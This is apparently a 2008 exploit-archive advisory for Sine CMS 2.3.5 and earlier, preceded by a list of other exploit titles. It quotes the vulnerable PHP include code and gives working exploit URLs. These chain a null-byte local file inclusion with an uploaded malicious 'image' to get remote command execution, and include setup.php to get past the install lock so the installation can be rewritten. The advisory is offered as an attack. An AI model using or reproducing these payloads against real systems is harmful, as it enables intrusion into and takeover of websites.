
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
89 lines
3.9 KiB
Text
Executable file
89 lines
3.9 KiB
Text
Executable file
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| ____ __________ __ ____ __ |
|
|
| /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ |
|
|
| | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ |
|
|
| | | | \ | |/ \ \___| | /_____/ | || | |
|
|
| |___|___| /\__| /______ /\___ >__| |___||__| |
|
|
| \/\______| \/ \/ |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Sine CMS Local File Inclusion / RCE (Register_globals: ON) |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Version: <= 2.3.5 |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Vendor: www.sinecms.net |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
| Discovered by: KiNgOfThEwOrLd |
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
Intro:
|
|
|
|
Sine cms is affected by a local file inclusion vulnerabily with
|
|
register_globals on.
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
Related code:
|
|
|
|
/mods/Integrated/index.php
|
|
|
|
<?
|
|
if ($_GET[page]=="source"){
|
|
include "mods/Integrated/source.php";
|
|
} else {
|
|
// cerca la home e la themizza
|
|
include_once ("mods/".$sine[config][index_main]."/index.php");
|
|
$mods = $sine[config][index_main];
|
|
}
|
|
?>
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
PoC:
|
|
|
|
Usually, this is a correctly code, with no possible exploitation. But if
|
|
register_globals is ON, we can edit via GET the $sine[config][index_main]
|
|
value, and then, using null byte, we'll get a local file inclusion
|
|
vulnerability like:
|
|
|
|
http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=
|
|
{FILE_TO_INCLUDE}%00
|
|
|
|
But pay attention, in this way the include_one function will try to include
|
|
"mods/{FILE}"; certainly, using the directory traversal var, we can surf and
|
|
include any files, but "mods/{FILE}" is different from "/mods/{FILE}"! In fact,
|
|
in this case, the script will try to include "/mods/Integrated/mods/{FILE}"!
|
|
So, the cms root path will be accessible with "../../../" and not "../../".
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
How to get a Remote Command Execution
|
|
|
|
Sine CMS, allows everybody to send a news with an image, uploadable directly
|
|
on the host. Then, uploading an evil script as an image, we'll get a shell in
|
|
/mods/Core/data/images/{EVIL_IMAGE}. Now, including that file by the local file
|
|
inclusion vulnerability that i've just explaned we'll get a remote command
|
|
execution.
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
Exploit:
|
|
|
|
http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
|
|
/../Core/data/images/{EVIL}.jpg%00
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
Just a little security issue
|
|
|
|
Realted code:
|
|
|
|
setup.php @ line 98
|
|
|
|
[...]
|
|
if(file_exists("./sine.lock")) $locked=1;
|
|
[...]
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
PoC:
|
|
|
|
After the installation, sine cms makes a file (sine.lock), to check if the cms
|
|
has been already installed. But the condition is true if "./sine.lock" exist,
|
|
so only if there is sine.lock in the current work dir! Then, including via
|
|
local file inclusion "setup.php" the condition will result false, and we can
|
|
rewrite, delete, or edit the installation.
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
Exploit:
|
|
|
|
http://localhost/sinecms/mods/Integrated/index.php?sine[config][index_main]=..
|
|
/../../setup.php%00
|
|
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
|
|
|
|
# milw0rm.com [2008-01-06]
|